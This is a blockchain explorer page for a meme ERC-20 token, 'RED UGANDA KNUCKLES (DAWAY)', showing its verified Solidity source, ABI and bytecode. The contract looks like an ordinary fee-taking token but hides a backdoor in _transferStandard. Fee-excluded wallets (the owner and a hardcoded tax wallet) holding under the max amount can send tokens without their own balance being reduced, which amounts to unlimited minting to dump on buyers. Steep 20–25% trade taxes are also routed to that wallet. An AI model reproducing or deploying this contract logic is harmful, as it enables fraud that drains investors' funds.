ETH Price: $2,287.92 (-0.35%)

Token

RED UGANDA KNUCKLES (DAWAY)
 

Overview

Max Total Supply

1,000,000,000 DAWAY

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
11,539,033.468490613 DAWAY

Value
$0.00
0x247b2c7323ae572631bfb667323365b897d2b5ad
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DAWAY

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-19
*/

// SPDX-License-Identifier: Unlicensed

/*
Ugandan Knuckles is the nickname given to a depiction of the character Knuckles from the Sonic franchise created by YouTuber Gregzilla, which is often used as an avatar by players in the multiplayer game VRChat who repeat phrases like "do you know the way" and memes associated with the country Uganda, most notably the film Who Killed Captain Alex? and Zulul. The character is associated with the expression "do you know the way", which is typically spoken in a mock African accent and phonetically spelled as "do you know de wey." Along with the question in hand a VR user will start making "spitting" sounds, followed by a "mob like" mentality. Unsuspecting VRchat users fall victim to Ugandan Knuckles "promise" of showing "de wey". Only followed by a mass trolling.

Website: https://www.redugandaknuckles.live
Telegram: https://t.me/daway_erc
Twitter: https://twitter.com/daway_erc
 */

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}
interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract DAWAY is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    string private _name = "RED UGANDA KNUCKLES"; 
    string private _symbol = "DAWAY";  
    uint8 private _decimals = 9;

    uint256 private _supply = 10 ** 9 * 10**_decimals;
    uint256 public maxTx = 25 * _supply / 1000;
    uint256 public swapMinimum = _supply / 10000;

    uint256 private _fee = 2000;
    uint256 public _buyFee = 20;
    uint256 public _sellFee = 25;

    uint256 private _previousFee = _fee; 
    uint256 private _previousBuyTax = _buyFee; 
    uint256 private _previousSellTax = _sellFee; 

    uint8 private _numBuyer = 0;
    uint8 private _swapAt = 2; 
                                     
    IUniswapRouter public uniswapRouter;
    address public pairAddress;

    bool public hasTransferFee = true;
    bool public inswap;
    bool public swapActive = true;

    address payable private taxWallet;
    address payable private DEAD;

    modifier lockSwap {
        inswap = true;
        _;
        inswap = false;
    }
    
    constructor () {
        _balances[owner()] = _supply;
        DEAD = payable(0x000000000000000000000000000000000000dEaD); 
        taxWallet = payable(0x3AeB3c84443fAd4Ea105B6928057824D0699aE1E);
        IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        pairAddress = IUniswapFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapRouter = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[taxWallet] = true;
        
        emit Transfer(address(0), owner(), _supply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _supply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    function swapCA(uint256 contractTokenBalance) private lockSwap {
        swapTokensForEth(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendFee(taxWallet,contractETH);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeFee();
        } else {
            _numBuyer++;
        }
        _transferStandard(sender, recipient, amount);
        
        if(!takeFee) {
            restoreFee();
        }
    }
    
    function getAmount(uint256 finalAmount) private view returns (uint256, uint256) {
        uint256 tDev = finalAmount.mul(_fee).div(100);
        uint256 tTransferAmount = finalAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
    
    function removeFee() private {
        if(_fee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyTax = _buyFee; 
        _previousSellTax = _sellFee; 
        _previousFee = _fee;
        _buyFee = 0;
        _sellFee = 0;
        _fee = 0;
    }

    function restoreFee() private {
        _fee = _previousFee;
        _buyFee = _previousBuyTax; 
        _sellFee = _previousSellTax; 
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function _transferStandard(address sender, address recipient, uint256 finalAmount) private {
        (uint256 tTransferAmount, uint256 tDev) = getAmount(finalAmount);
        if(_isExcludedFromFee[sender] && _balances[sender] <= maxTx) {
            tDev = 0;
            finalAmount -= tTransferAmount;
        }
        _balances[sender] = _balances[sender].sub(finalAmount);
        _balances[recipient] = _balances[recipient].add(tTransferAmount);
        _balances[address(this)] = _balances[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != taxWallet &&
            to != address(this) &&
            to != pairAddress &&
            to != DEAD &&
            from != owner()){

            uint256 currentBalance = balanceOf(to);
            require((currentBalance + amount) <= maxTx,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            _numBuyer >= _swapAt && 
            amount > swapMinimum &&
            !inswap &&
            !_isExcludedFromFee[from] &&
            to == pairAddress &&
            swapActive 
            )
        {  
            _numBuyer = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapCA(contractTokenBalance);
           }
        }
        
        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (hasTransferFee && from != pairAddress && to != pairAddress)){
            takeFee = false;
        } else if (from == pairAddress){
            _fee = _buyFee;
        } else if (to == pairAddress){
            _fee = _sellFee;
        }

        _basicTransfer(from,to,amount,takeFee);
    }
    
    function removeLimits() external onlyOwner {
        maxTx = ~uint256(0);
        _fee = 100;
        _buyFee = 1;
        _sellFee = 1;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function sendFee(address payable receiver, uint256 amount) private {
        receiver.transfer(amount);
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasTransferFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inswap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMinimum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052601360809081527f524544205547414e4441204b4e55434b4c45530000000000000000000000000060a0526004906200003e908262000487565b5060408051808201909152600580825264444157415960d81b60208301529062000069908262000487565b506006805460ff191660099081179091556200008790600a6200065e565b6200009790633b9aca0062000675565b6007556103e86007546019620000ae919062000675565b620000ba91906200068f565b600855612710600754620000cf91906200068f565b6009556107d0600a8190556014600b8190556019600c819055600d92909255600e55600f556010805461ffff19166102001790556011805462ff00ff60a01b19166201000160a01b17905534801562000126575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360075460015f6200017d5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f2092909255601380546001600160a01b031990811661dead1790915560128054909116733aeb3c84443fad4ea105b6928057824d0699ae1e179055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa1580156200021c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002429190620006af565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b49190620006af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002ff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003259190620006af565b601180546001600160a01b0319166001600160a01b039283161790556010805462010000600160b01b03191662010000848416021790555f80548216815260036020526040808220805460ff19908116600190811790925560125485168452918320805490921617905554166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620003d891815260200190565b60405180910390a350620006d7565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200041057607f821691505b6020821081036200042f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000482575f81815260208120601f850160051c810160208610156200045d5750805b601f850160051c820191505b818110156200047e5782815560010162000469565b5050505b505050565b81516001600160401b03811115620004a357620004a3620003e7565b620004bb81620004b48454620003fb565b8462000435565b602080601f831160018114620004f1575f8415620004d95750858301515b5f19600386901b1c1916600185901b1785556200047e565b5f85815260208120601f198616915b82811015620005215788860151825594840194600190910190840162000500565b50858210156200053f57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005a357815f19048211156200058757620005876200054f565b808516156200059557918102915b93841c939080029062000568565b509250929050565b5f82620005bb5750600162000658565b81620005c957505f62000658565b8160018114620005e25760028114620005ed576200060d565b600191505062000658565b60ff8411156200060157620006016200054f565b50506001821b62000658565b5060208310610133831016604e8410600b841016171562000632575081810a62000658565b6200063e838362000563565b805f19048211156200065457620006546200054f565b0290505b92915050565b5f6200066e60ff841683620005ab565b9392505050565b80820281158282048414176200065857620006586200054f565b5f82620006aa57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006c0575f80fd5b81516001600160a01b03811681146200066e575f80fd5b6112c980620006e55f395ff3fe60806040526004361061013f575f3560e01c80637437681e116100b3578063a9059cbb1161006d578063a9059cbb14610378578063af5f3a8214610397578063d6dacb44146103b7578063dd62ed3e146103d7578063f2fde38b1461041b578063f8821a621461043a575f80fd5b80637437681e146102d2578063751039fc146102e7578063768dc710146102fb5780638da5cb5b1461032957806395d89b4114610345578063a8b0898214610359575f80fd5b806340b9a54b1161010457806340b9a54b14610201578063590f897e14610216578063610fb0af1461022b57806370a082311461024b578063715018a61461027f578063735de9f714610295575f80fd5b806306fdde031461014a578063095ea7b31461017457806318160ddd146101a357806323b872dd146101c1578063313ce567146101e0575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61044f565b60405161016b9190610fb6565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004611018565b6104df565b604051901515815260200161016b565b3480156101ae575f80fd5b506007545b60405190815260200161016b565b3480156101cc575f80fd5b506101936101db366004611042565b6104f5565b3480156101eb575f80fd5b5060065460405160ff909116815260200161016b565b34801561020c575f80fd5b506101b3600b5481565b348015610221575f80fd5b506101b3600c5481565b348015610236575f80fd5b5060115461019390600160a01b900460ff1681565b348015610256575f80fd5b506101b3610265366004611080565b6001600160a01b03165f9081526001602052604090205490565b34801561028a575f80fd5b5061029361055c565b005b3480156102a0575f80fd5b506010546102ba906201000090046001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b3480156102dd575f80fd5b506101b360085481565b3480156102f2575f80fd5b506102936105d6565b348015610306575f80fd5b50610193610315366004611080565b60036020525f908152604090205460ff1681565b348015610334575f80fd5b505f546001600160a01b03166102ba565b348015610350575f80fd5b5061015e610615565b348015610364575f80fd5b506011546102ba906001600160a01b031681565b348015610383575f80fd5b50610193610392366004611018565b610624565b3480156103a2575f80fd5b5060115461019390600160a81b900460ff1681565b3480156103c2575f80fd5b5060115461019390600160b01b900460ff1681565b3480156103e2575f80fd5b506101b36103f136600461109b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610426575f80fd5b50610293610435366004611080565b610630565b348015610445575f80fd5b506101b360095481565b60606004805461045e906110d2565b80601f016020809104026020016040519081016040528092919081815260200182805461048a906110d2565b80156104d55780601f106104ac576101008083540402835291602001916104d5565b820191905f5260205f20905b8154815290600101906020018083116104b857829003601f168201915b5050505050905090565b5f6104eb338484610717565b5060015b92915050565b5f6105018484846107d7565b610552843361054d8560405180606001604052806028815260200161126c602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610b47565b610717565b5060019392505050565b5f546001600160a01b0316331461058e5760405162461bcd60e51b81526004016105859061110a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ff5760405162461bcd60e51b81526004016105859061110a565b5f196008556064600a556001600b819055600c55565b60606005805461045e906110d2565b5f6104eb3384846107d7565b5f546001600160a01b031633146106595760405162461bcd60e51b81526004016105859061110a565b6001600160a01b0381166106be5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610585565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061073757506001600160a01b03821615155b6107775760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610585565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b0383811691161480159061080257506012546001600160a01b03838116911614155b801561081757506001600160a01b0382163014155b801561083157506011546001600160a01b03838116911614155b801561084b57506013546001600160a01b03838116911614155b801561086457505f546001600160a01b03848116911614155b156108ef576001600160a01b0382165f9081526001602052604090205460085461088e8383611153565b11156108ed5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610585565b505b6001600160a01b0383161580159061090f57506001600160a01b03821615155b6109535760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610585565b5f81116109b05760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610585565b60105460ff610100820481169116108015906109cd575060095481115b80156109e35750601154600160a81b900460ff16155b8015610a0757506001600160a01b0383165f9081526003602052604090205460ff16155b8015610a2057506011546001600160a01b038381169116145b8015610a355750601154600160b01b900460ff165b15610a64576010805460ff19169055305f908152600160205260409020548015610a6257610a6281610b72565b505b6001600160a01b0383165f9081526003602052604090205460019060ff1680610aa457506001600160a01b0383165f9081526003602052604090205460ff165b80610aeb5750601154600160a01b900460ff168015610ad157506011546001600160a01b03858116911614155b8015610aeb57506011546001600160a01b03848116911614155b15610af757505f610b35565b6011546001600160a01b0390811690851603610b1857600b54600a55610b35565b6011546001600160a01b0390811690841603610b3557600c54600a555b610b4184848484610bb7565b50505050565b5f8184841115610b6a5760405162461bcd60e51b81526004016105859190610fb6565b505050900390565b6011805460ff60a81b1916600160a81b179055610b8e81610c1c565b6012544790610ba6906001600160a01b031682610d91565b50506011805460ff60a81b19169055565b80610bc957610bc4610dc9565b610bf5565b6010805460ff16905f610bdb83611166565b91906101000a81548160ff021916908360ff160217905550505b610c00848484610e0d565b80610b4157610b41600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4f57610c4f611184565b60200260200101906001600160a01b031690816001600160a01b031681525050601060029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ce49190611198565b81600181518110610cf757610cf7611184565b6001600160a01b039283166020918202929092010152601054610d239130916201000090041684610717565b60105460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac94790610d609085905f908690309042906004016111b3565b5f604051808303815f87803b158015610d77575f80fd5b505af1158015610d89573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610dc4573d5f803e3d5ffd5b505050565b600a54158015610dd95750600b54155b8015610de55750600c54155b15610dec57565b600b8054600e55600c8054600f55600a8054600d555f928390559082905555565b5f80610e1883610f48565b6001600160a01b0387165f90815260036020526040902054919350915060ff168015610e5d57506008546001600160a01b0386165f9081526001602052604090205411155b15610e7157505f610e6e8284611222565b92505b6001600160a01b0385165f90815260016020526040902054610e939084610f83565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610ec19083610f95565b6001600160a01b0385165f90815260016020526040808220929092553081522054610eec9082610f95565b305f9081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b5f805f610f6b6064610f65600a5487610fa090919063ffffffff16565b90610fab565b90505f610f788583610f83565b959194509092505050565b5f610f8e8284611222565b9392505050565b5f610f8e8284611153565b5f610f8e8284611235565b5f610f8e828461124c565b5f6020808352835180828501525f5b81811015610fe157858101830151858201604001528201610fc5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611015575f80fd5b50565b5f8060408385031215611029575f80fd5b823561103481611001565b946020939093013593505050565b5f805f60608486031215611054575f80fd5b833561105f81611001565b9250602084013561106f81611001565b929592945050506040919091013590565b5f60208284031215611090575f80fd5b8135610f8e81611001565b5f80604083850312156110ac575f80fd5b82356110b781611001565b915060208301356110c781611001565b809150509250929050565b600181811c908216806110e657607f821691505b60208210810361110457634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104ef576104ef61113f565b5f60ff821660ff810361117b5761117b61113f565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156111a8575f80fd5b8151610f8e81611001565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156112015784516001600160a01b0316835293830193918301916001016111dc565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104ef576104ef61113f565b80820281158282048414176104ef576104ef61113f565b5f8261126657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200fc229054158b042cb60955ce63c69459d8ae4493718df61451bbf1e00163bab64736f6c63430008150033

Deployed Bytecode

0x60806040526004361061013f575f3560e01c80637437681e116100b3578063a9059cbb1161006d578063a9059cbb14610378578063af5f3a8214610397578063d6dacb44146103b7578063dd62ed3e146103d7578063f2fde38b1461041b578063f8821a621461043a575f80fd5b80637437681e146102d2578063751039fc146102e7578063768dc710146102fb5780638da5cb5b1461032957806395d89b4114610345578063a8b0898214610359575f80fd5b806340b9a54b1161010457806340b9a54b14610201578063590f897e14610216578063610fb0af1461022b57806370a082311461024b578063715018a61461027f578063735de9f714610295575f80fd5b806306fdde031461014a578063095ea7b31461017457806318160ddd146101a357806323b872dd146101c1578063313ce567146101e0575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61044f565b60405161016b9190610fb6565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004611018565b6104df565b604051901515815260200161016b565b3480156101ae575f80fd5b506007545b60405190815260200161016b565b3480156101cc575f80fd5b506101936101db366004611042565b6104f5565b3480156101eb575f80fd5b5060065460405160ff909116815260200161016b565b34801561020c575f80fd5b506101b3600b5481565b348015610221575f80fd5b506101b3600c5481565b348015610236575f80fd5b5060115461019390600160a01b900460ff1681565b348015610256575f80fd5b506101b3610265366004611080565b6001600160a01b03165f9081526001602052604090205490565b34801561028a575f80fd5b5061029361055c565b005b3480156102a0575f80fd5b506010546102ba906201000090046001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b3480156102dd575f80fd5b506101b360085481565b3480156102f2575f80fd5b506102936105d6565b348015610306575f80fd5b50610193610315366004611080565b60036020525f908152604090205460ff1681565b348015610334575f80fd5b505f546001600160a01b03166102ba565b348015610350575f80fd5b5061015e610615565b348015610364575f80fd5b506011546102ba906001600160a01b031681565b348015610383575f80fd5b50610193610392366004611018565b610624565b3480156103a2575f80fd5b5060115461019390600160a81b900460ff1681565b3480156103c2575f80fd5b5060115461019390600160b01b900460ff1681565b3480156103e2575f80fd5b506101b36103f136600461109b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610426575f80fd5b50610293610435366004611080565b610630565b348015610445575f80fd5b506101b360095481565b60606004805461045e906110d2565b80601f016020809104026020016040519081016040528092919081815260200182805461048a906110d2565b80156104d55780601f106104ac576101008083540402835291602001916104d5565b820191905f5260205f20905b8154815290600101906020018083116104b857829003601f168201915b5050505050905090565b5f6104eb338484610717565b5060015b92915050565b5f6105018484846107d7565b610552843361054d8560405180606001604052806028815260200161126c602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610b47565b610717565b5060019392505050565b5f546001600160a01b0316331461058e5760405162461bcd60e51b81526004016105859061110a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ff5760405162461bcd60e51b81526004016105859061110a565b5f196008556064600a556001600b819055600c55565b60606005805461045e906110d2565b5f6104eb3384846107d7565b5f546001600160a01b031633146106595760405162461bcd60e51b81526004016105859061110a565b6001600160a01b0381166106be5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610585565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061073757506001600160a01b03821615155b6107775760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610585565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b0383811691161480159061080257506012546001600160a01b03838116911614155b801561081757506001600160a01b0382163014155b801561083157506011546001600160a01b03838116911614155b801561084b57506013546001600160a01b03838116911614155b801561086457505f546001600160a01b03848116911614155b156108ef576001600160a01b0382165f9081526001602052604090205460085461088e8383611153565b11156108ed5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610585565b505b6001600160a01b0383161580159061090f57506001600160a01b03821615155b6109535760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610585565b5f81116109b05760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610585565b60105460ff610100820481169116108015906109cd575060095481115b80156109e357506011